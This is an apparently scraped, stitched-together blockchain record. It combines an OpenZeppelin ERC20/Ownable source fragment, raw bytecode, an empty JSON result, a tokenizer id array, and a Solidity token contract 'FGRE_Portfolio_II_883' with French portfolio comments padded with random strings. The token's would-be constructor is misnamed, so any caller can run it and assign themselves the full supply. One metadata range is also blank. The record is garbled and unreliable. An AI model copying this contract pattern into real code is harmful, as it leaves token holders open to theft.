non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806342966c68116100a257806395d89b411161007157806395d89b4114610232578063a457c2d71461023a578063a9059cbb1461024d578063dd62ed3e14610260578063f2fde38b1461029957600080fd5b806342966c68146101d357806370a08231146101e6578063715018a61461020f5780638da5cb5b1461021757600080fd5b8063313ce567116100de578063313ce56714610176578063355274ea1461018557806339509351146101ab57806340c10f19146101be57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102ac565b6040516101259190610c9d565b60405180910390f35b61014161013c366004610d0e565b61033e565b6040519015158152602001610125565b6003545b604051908152602001610125565b610141610171366004610d38565b610354565b60405160128152602001610125565b7f0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000610155565b6101416101b9366004610d0e565b610403565b6101d16101cc366004610d0e565b61043f565b005b6101d16101e1366004610d74565b6104c7565b6101556101f4366004610d8d565b6001600160a01b031660009081526001602052604090205490565b6101d1610524565b6000546040516001600160a01b039091168152602001610125565b61011861055a565b610141610248366004610d0e565b610569565b61014161025b366004610d0e565b610602565b61015561026e366004610daf565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101d16102a7366004610d8d565b61060f565b6060600480546102bb90610de2565b80601f01602080910402602001604051908101604052809291908181526020018280546102e790610de2565b80156103345780601f1061030957610100808354040283529160200191610334565b820191906000526020600020905b81548152906001019060200180831161031757829003601f168201915b5050505050905090565b600061034b3384846106a7565b50600192915050565b60006103618484846107cc565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103eb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103f885338584036106a7565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161034b91859061043a908690610e33565b6106a7565b6000546001600160a01b031633146104695760405162461bcd60e51b81526004016103e290610e4b565b600081116104b95760405162461bcd60e51b815260206004820152601a60248201527f4d6564696369546f6b656e3a20696e76616c6964416d6f756e7400000000000060448201526064016103e2565b6104c3828261099b565b5050565b600081116105175760405162461bcd60e51b815260206004820152601a60248201527f4d6564696369546f6b656e3a20696e76616c6964416d6f756e7400000000000060448201526064016103e2565b6105213382610a28565b50565b6000546001600160a01b0316331461054e5760405162461bcd60e51b81526004016103e290610e4b565b6105586000610b6e565b565b6060600580546102bb90610de2565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105eb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103e2565b6105f833858584036106a7565b5060019392505050565b600061034b3384846107cc565b6000546001600160a01b031633146106395760405162461bcd60e51b81526004016103e290610e4b565b6001600160a01b03811661069e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103e2565b61052181610b6e565b6001600160a01b0383166107095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e2565b6001600160a01b03821661076a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e2565b6001600160a01b0382166108925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e2565b6001600160a01b0383166000908152600160205260409020548181101561090a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e2565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610941908490610e33565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098d91815260200190565b60405180910390a350505050565b7f0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000816109c660035490565b6109d09190610e33565b1115610a1e5760405162461bcd60e51b815260206004820152601960248201527f45524332304361707065643a206361702065786365656465640000000000000060448201526064016103e2565b6104c38282610bbe565b6001600160a01b038216610a885760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103e2565b6001600160a01b03821660009081526001602052604090205481811015610afc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103e2565b6001600160a01b0383166000908152600160205260408120838303905560038054849290610b2b908490610e80565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107bf565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103e2565b8060036000828254610c269190610e33565b90915550506001600160a01b03821660009081526001602052604081208054839290610c53908490610e33565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600060208083528351808285015260005b81811015610cca57858101830151858201604001528201610cae565b81811115610cdc576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d0957600080fd5b919050565b60008060408385031215610d2157600080fd5b610d2a83610cf2565b946020939093013593505050565b600080600060608486031215610d4d57600080fd5b610d5684610cf2565b9250610d6460208501610cf2565b9150604084013590509250925092565b600060208284031215610d8657600080fd5b5035919050565b600060208284031215610d9f57600080fd5b610da882610cf2565b9392505050565b60008060408385031215610dc257600080fd5b610dcb83610cf2565b9150610dd960208401610cf2565b90509250929050565b600181811c90821680610df657607f821691505b60208210811415610e1757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610e4657610e46610e1d565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082821015610e9257610e92610e1d565b50039056fea264697066735822122064c52a905d8b29d3c372ebb0ccfeb903ba31b71dc27814e5140ff8e7107a461364736f6c63430008090033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 12376, 2683, 26224, 2683, 2620, 2050, 28332, 2692, 2620, 2620, 23499, 18139, 2581, 21619, 21057, 12521, 10322, 2549, 2094, 2509, 2278, 26976, 5243, 11329, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 14305, 1013, 9413, 2278, 11387, 17695, 5669, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1030, 2516, 22605, 18715, 2368, 1013, 1013, 1013, 1030, 16475, 7701, 5446, 10615, 19204, 3206, 22605, 18715, 2368, 2003, 2219, 3085, 1010, 9413, 2278, 11387, 17695, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,540
0x96f553b19540c8cdc03cd981c66b9964be4377d0
pragma solidity ^0.4.21 ; contract FGRE_Portfolio_II_883 { mapping (address => uint256) public balanceOf; string public name = " FGRE_Portfolio_II_883 " ; string public symbol = " FGRE883II " ; uint8 public decimals = 18 ; uint256 public totalSupply = 27616600125087200000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; // deduct from sender's balance balanceOf[to] += value; // add to recipient's balance emit Transfer(msg.sender, to, value); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_1_____Caisse_Centrale_de_Reassurance_20580515 > // < qJH456shAVxlEf54A8FO7cJo4E9w0Xc1Rte2EJ1u73Z9Vw3pu1ne03ZgIn2o3E8m > // < 1E-018 limites [ 1E-018 ; 71629097,3929053 ] > // < 0x00000000000000000000000000000000000000000000000000000000006D4C1E > // < FGRE_Portfolio_II_metadata_line_2_____CCR_FGRE_Fonds_de_Garantie_des_Risques_liés_a_l_Epandage_des_Boues_d_Epuration_Urbaines_et_Industrielles_i_20580515 > // < 79C907463mh7j2sL5iKHJMsFUzIWeh7K4Pyy71t11aRLJ3cj2Z9wDAn6r2jz05g6 > // < 1E-018 limites [ 71629097,3929053 ; 219337972,168712 ] > // < 0x0000000000000000000000000000000000000000000000000006D4C1E14EAEE5 > // < FGRE_Portfolio_II_metadata_line_3_____CCR_FGRE_Fonds_de_Garantie_des_Risques_liés_a_l_Epandage_des_Boues_d_Epuration_Urbaines_et_Industrielles_ii_20580515 > // < 1DVsuw99psx9wE360Uz9fVsaaF33dLj6FP4Qt5D4g0K6m3Y9e1BmD0R6Z95zkuLZ > // < 1E-018 limites [ 219337972,168712 ; 1435018837,45658 ] > // < 0x0000000000000000000000000000000000000000000000000014EAEE588DAA3C > // < FGRE_Portfolio_II_metadata_line_4_____FGRE__Cap_default_20580515 > // < eop5ro1ow1CAbTF1VGwIZFLLk77c6EuCYQ6zN6r71AW8JjKv5tv99G0i573BFOIM > // < 1E-018 limites [ 1435018837,45658 ; 1526318567,62157 ] > // < 0x0000000000000000000000000000000000000000000000000088DAA3C918FA31 > // < FGRE_Portfolio_II_metadata_line_5_____FGRE__Cap_lim_20580515 > // < x3Phom69re0vLi72J8vbk2W5097YkKW8VdPSiGXrKQmgxwpM5w61iF55xru2b5y5 > // < 1E-018 limites [ 1526318567,62157 ; 2825094805,14306 ] > // < 0x0000000000000000000000000000000000000000000000000918FA3110D6C0A9 > // < FGRE_Portfolio_II_metadata_line_6_____FGRE__Cap_ill_20580515 > // < VTi58x8VQ52xnxT150N4P2z57zS25Gm8BcnMqH58e9i1DXF95hIEw49f9f1S9o94 > // < 1E-018 limites [ 2825094805,14306 ; 3323729939,28347 ] > // < 0x00000000000000000000000000000000000000000000000010D6C0A913CF9C02 > // < FGRE_Portfolio_II_metadata_line_7_____FGRE__Tre_Cap_1_20580515 > // < 6J26UJqpL2eG9J17Id44fw675tiuAJ7090WMK8AVH1N2p9rI34r8An6SKgxo6GQd > // < 1E-018 limites [ 3323729939,28347 ; 3441598939,90094 ] > // < 0x00000000000000000000000000000000000000000000000013CF9C0214837696 > // < FGRE_Portfolio_II_metadata_line_8_____FGRE__Tre_Cap_2_20580515 > // < Q3S67TN6BpQcKXiWjTZEN10un2ftqh5t7tlf22Y8mYVKn78S0b7767C99LOv8Ao5 > // < 1E-018 limites [ 3441598939,90094 ; 3531740815,47801 ] > // < 0x00000000000000000000000000000000000000000000000014837696150D0242 > // < FGRE_Portfolio_II_metadata_line_9_____FGRE__Fac_Cap_1_20580515 > // < YdKJcopsJf3eBYyM9r69S2s3Cv4C23ovzE44g6b1eN01tKzKxeJ5xm9QW14fa1Fu > // < 1E-018 limites [ 3531740815,47801 ; 3635901445,63885 ] > // < 0x000000000000000000000000000000000000000000000000150D024215ABF201 > // < FGRE_Portfolio_II_metadata_line_10_____FGRE__Fac_Cap_2_20580515 > // < 6ym5BL1Sexqs8Kx29LGGZ5e77uIz2ACQcJ4I8SMnfWj544H1FD893l257sUhmF8K > // < 1E-018 limites [ 3635901445,63885 ; 4568661469,69768 ] > // < 0x00000000000000000000000000000000000000000000000015ABF2011B3B3963 > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_11_____FGRE__Cap_default_iii_origin_p_C_default_20580515 > // < 0XKML8TV7B9odO4D5Gb1Fd5m4754EsA65x4oxGi8hcCr5t2ij4V9b8in4VzP73sz > // < 1E-018 limites [ 4568661469,69768 ; 5629055858,9209 ] > // < 0x0000000000000000000000000000000000000000000000001B3B3963218D41F2 > // < FGRE_Portfolio_II_metadata_line_12_____FGRE__Cap_default_iii_origin_p_iii_default_20580515 > // < 0jkRj2MmTwQAl2A6V5i6xold1kcqdBH6423M38JNV8F8FwFiheyh98pCiMb03431 > // < 1E-018 limites [ 5629055858,9209 ; 6049295441,87584 ] > // < 0x000000000000000000000000000000000000000000000000218D41F2240E7E08 > // < FGRE_Portfolio_II_metadata_line_13_____FGRE__Cap_lim_iii_origin_p_C_default_20580515 > // < z09v8iK7s858Oco1v8d45O06GOid4O716s44txbfto66kP2Y6N0D2ywfGI7nWs87 > // < 1E-018 limites [ 6049295441,87584 ; 6895400277,11564 ] > // < 0x000000000000000000000000000000000000000000000000240E7E0829198BBC > // < FGRE_Portfolio_II_metadata_line_14_____FGRE__Cap_lim_iii_origin_p_iii_default_20580515 > // < aoj358690I3zh8Tq4FAnpfB5lQSB95r472on527a8OR4dG61WtbBG741DFAqq4Zc > // < 1E-018 limites [ 6895400277,11564 ; 8328045361,08831 ] > // < 0x00000000000000000000000000000000000000000000000029198BBC31A396B8 > // < FGRE_Portfolio_II_metadata_line_15_____FGRE__Cap_ill_iii_origin_p_C_default_20580515 > // < QdX9Km1HXjGJgYqo1xqla46W43FlR199LF09o1WTM6AD89OiPYK4eoLg4DcYE1o2 > // < 1E-018 limites [ 8328045361,08831 ; 9439303492,65989 ] > // < 0x00000000000000000000000000000000000000000000000031A396B838433BED > // < FGRE_Portfolio_II_metadata_line_16_____FGRE__Cap_ill_iii_origin_p_iii_default_20580515 > // < jv0Z4Y251GGad1lh34PRBKwl7lmUwY0MOL8TiV5o7U5X9s4FqAo4j7bh618ZALY3 > // < 1E-018 limites [ 9439303492,65989 ; 10541590279,1838 ] > // < 0x00000000000000000000000000000000000000000000000038433BED3ED530B4 > // < FGRE_Portfolio_II_metadata_line_17_____FGRE__Tre_Cap_3_20580515 > // < FD235ETy6VjNHv8QP8qb5y6Z5FI08g2eZ1o0sOXV7aNmM3d2lA24Y25ZAlXLam74 > // < 1E-018 limites [ 10541590279,1838 ; 10857051123,6721 ] > // < 0x0000000000000000000000000000000000000000000000003ED530B440B68B98 > // < FGRE_Portfolio_II_metadata_line_18_____FGRE__Tre_Cap_4_20580515 > // < LN59S23J8jkkrV41l9kpv5vW5PBi9V6tL97lxpC42549LtHbkX54FuNVdw4q63It > // < 1E-018 limites [ 10857051123,6721 ; 11060046599,4754 ] > // < 0x00000000000000000000000000000000000000000000000040B68B9841EC4AB4 > // < FGRE_Portfolio_II_metadata_line_19_____FGRE__Fac_Cap_3_20580515 > // < Uf6R2KE26Q5hwp0XQ92bwb1VQYa97f7atC1KNZA236aF97ImaV27Ty5o4cx2S7bv > // < 1E-018 limites [ 11060046599,4754 ; 11179474573,7217 ] > // < 0x00000000000000000000000000000000000000000000000041EC4AB442A28641 > // < FGRE_Portfolio_II_metadata_line_20_____FGRE__Fac_Cap_4_20580515 > // < 6e0Pzp56Ugq2hyL4S840hL9HKb913bZ9m0dd8kslj9X7pe9vCrUEWVvI1eT55Ynt > // < 1E-018 limites [ 11179474573,7217 ; 12150811562,5234 ] > // < 0x00000000000000000000000000000000000000000000000042A28641486CAAC4 > // Programme d'émission - Lignes 21 à 30 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_21_____FGRE__C_default_20580515 > // < Ux3NWNppH1RuPk0N75wDL33WBBmsb0ffR64W0h0u005u8ldtjqj07Z7vpK62k9uD > // < 1E-018 limites [ 12150811562,5234 ; 12878870143,632 ] > // < 0x000000000000000000000000000000000000000000000000486CAAC44CC398A6 > // < FGRE_Portfolio_II_metadata_line_22_____FGRE__Tre_C_1_20580515 > // < 6N3OVIrL4k076t3085DB79v19XZO2395hw51POg8A21A25UG0ziW5nrrl0wnzZ8m > // < 1E-018 limites [ 12878870143,632 ; 13197987234,1808 ] > // < 0x0000000000000000000000000000000000000000000000004CC398A64EAA87C3 > // < FGRE_Portfolio_II_metadata_line_23_____FGRE__Tre_C_2_20580515 > // < 47k50q7V0387qtMgp03OLDR59DABiry3jngMT0nbjbrmLo38UkjgH151gyL8vOtC > // < 1E-018 limites [ 13197987234,1808 ; 13647709269,9694 ] > // < 0x0000000000000000000000000000000000000000000000004EAA87C35158C06F > // < FGRE_Portfolio_II_metadata_line_24_____FGRE__Fac_C_1_20580515 > // < awA7jant85id1fKnunDFfi6Q8vZcG65LSegkV4p9ONQow434TU33YOsfxmDi9Xyk > // < 1E-018 limites [ 13647709269,9694 ; 13850646362,7421 ] > // < 0x0000000000000000000000000000000000000000000000005158C06F528E68BC > // < FGRE_Portfolio_II_metadata_line_25_____FGRE__Fac_C_2_20580515 > // < ta2ofDGjv9oI2kQw4v9NQNdJnhd6a8J6Hy68M2q79w5smV2BK6Otzs3mwCo2mWph > // < 1E-018 limites [ 13850646362,7421 ; 14018441531,3877 ] > // < 0x000000000000000000000000000000000000000000000000528E68BC538E71B9 > // < FGRE_Portfolio_II_metadata_line_26_____FGRE__IV_default_20580515 > // < QFc3Cfb208aATDv3WPF57w5ne7cNZca6i0a1U9sx6z32nKEwb3R0YRKNkF3GP955 > // < 1E-018 limites [ 14018441531,3877 ; 15707235010,5298 ] > // < 0x000000000000000000000000000000000000000000000000538E71B95D9F56AD > // < FGRE_Portfolio_II_metadata_line_27_____FGRE__Tre_iv_1_20580515 > // < qG3XDlAlmd69Y6kE5t52MEn6jrnAMvu2Z9zS42p04G20Wtcg28egynj8ozipno91 > // < 1E-018 limites [ 15707235010,5298 ; 15801136464,6251 ] > // < 0x0000000000000000000000000000000000000000000000005D9F56AD5E2E9EEE > // < FGRE_Portfolio_II_metadata_line_28_____FGRE__Tre_iv_2_20580515 > // < AD8TthMkjUn13ob1SOgcAp1EfQi92v85DvH1oz6m4uJZ439l2CluEvGHJ45nd1pm > // < 1E-018 limites [ 15801136464,6251 ; 18510047623,3186 ] > // < 0x0000000000000000000000000000000000000000000000005E2E9EEE6E54175A > // < FGRE_Portfolio_II_metadata_line_29_____FGRE__Fac_iv_1_20580515 > // < 6j7RiXl20TVGz37sg7vm23k7noG3d93k9cYCW7klrF4ASJ9H3A2C0elD7kqfZBz1 > // < 1E-018 limites [ 18510047623,3186 ; 19462887700,4856 ] > // < 0x0000000000000000000000000000000000000000000000006E54175A74020282 > // < FGRE_Portfolio_II_metadata_line_30_____FGRE__Fac_iv_2_20580515 > // < s1q9pe2xpoz2kD94LEuO29W7i9hrT2EGR09Fu7251La3Q96pMp0b9w0ZWui2bJsI > // < 1E-018 limites [ 19462887700,4856 ; 19651486962,9987 ] > // < 0x000000000000000000000000000000000000000000000000740202827521CA18 > // Programme d'émission - Lignes 31 à 40 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < FGRE_Portfolio_II_metadata_line_31_____FGRE__Cx_default_20580515 > // < vaJ191Tj2pk8wc60nH8ztlcSYF11GsQ39o9eoLFXPO368JKrTE79Z9S9AQbkhof0 > // < 1E-018 limites [ 19651486962,9987 ; 20586488342,4875 ] > // < 0x0000000000000000000000000000000000000000000000007521CA187AB47D02 > // < FGRE_Portfolio_II_metadata_line_32_____FGRE__Tre_Cx_1_20580515 > // < 0TeI5ECMIJcje19mNR7nLW7oAp04UpS3224waK6VCqaMjH9ZMHQ3YmGMrxV009M3 > // < 1E-018 limites [ 20586488342,4875 ; 20691762282,7993 ] > // < 0x0000000000000000000000000000000000000000000000007AB47D027B551FA4 > // < FGRE_Portfolio_II_metadata_line_33_____FGRE__Tre_Cx_2_20580515 > // < L781lq0mdkA6c7V3M12wB236y2Gjd47o67FKYqD2QZ4Y3u75pI0BN5Gn87bCplaJ > // < 1E-018 limites [ 20691762282,7993 ; 20915421507,0282 ] > // < 0x0000000000000000000000000000000000000000000000007B551FA47CAA6687 > // < FGRE_Portfolio_II_metadata_line_34_____FGRE__Fac_Cx_1_20580515 > // < N8GF9znNSkfZP0m5nX32isqojwVb31EC69Jc3B6K7Z6O1OQz2DTXEfu1tov652e4 > // < 1E-018 limites [ 20915421507,0282 ; 21080512678,7107 ] > // < 0x0000000000000000000000000000000000000000000000007CAA66877DA64F44 > // < FGRE_Portfolio_II_metadata_line_35_____FGRE__Fac_Cx_2_20580515 > // < UW8wwNjDVF6Xh2G55b5k6U4Fr8FFAFC5xrJk3I13KKZQJQHs62yMy6m2n498DV97 > // < 1E-018 limites [ 21080512678,7107 ; 22322567851,328 ] > // < 0x0000000000000000000000000000000000000000000000007DA64F44850D8911 > // < FGRE_Portfolio_II_metadata_line_36_____FGRE__VIII_default_20580515 > // < yKz9Wt4X7u5mMNlesqGUJ0s41Ss9u289oDB1Iq5w6U1J4ALx307nw2zE7Fm5SUKU > // < 1E-018 limites [ 22322567851,328 ; ] > // < 0x000000000000000000000000000000000000000000000000850D89118B15375D > // < FGRE_Portfolio_II_metadata_line_37_____FGRE__Tre_viii_1_20580515 > // < U5H67WN5b3pXnXcnXRJ668qdKjf3q8N12rfn681fyxj1Rcr1P0fPmSUC64VJnWs4 > // < 1E-018 limites [ 23334234534,5793 ; 24872776038,9251 ] > // < 0x0000000000000000000000000000000000000000000000008B15375D9440D824 > // < FGRE_Portfolio_II_metadata_line_38_____FGRE__Tre_viii_2_20580515 > // < nG8OlLfN7KxHjEP0eHKYJWXxv5w7f6eWs2gX3X0n4073OFGNB7qz9g1A840Q7O7K > // < 1E-018 limites [ 24872776038,9251 ; 26252611921,4392 ] > // < 0x0000000000000000000000000000000000000000000000009440D8249C7A4E88 > // < FGRE_Portfolio_II_metadata_line_39_____FGRE__Fac_viii_1_20580515 > // < 9VkF505j12DzLwmihDcN6xB2WE38qFK1lUt427svq0OJe0kTX7fY2134rMIXKuan > // < 1E-018 limites [ 26252611921,4392 ; 27184179220,2758 ] > // < 0x0000000000000000000000000000000000000000000000009C7A4E88A207C402 > // < FGRE_Portfolio_II_metadata_line_40_____FGRE__Fac_viii_2_20580515 > // < b9k1tF01h18x578hIwRE9PeQaOhAaFonbku7tQJ406E7ZDq89yvaSNlX6Vii4922 > // < 1E-018 limites [ 27184179220,2758 ; 27616600125,0872 ] > // < 0x000000000000000000000000000000000000000000000000A207C402A49B966D > }
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573fffffffffffffffffffffffffffff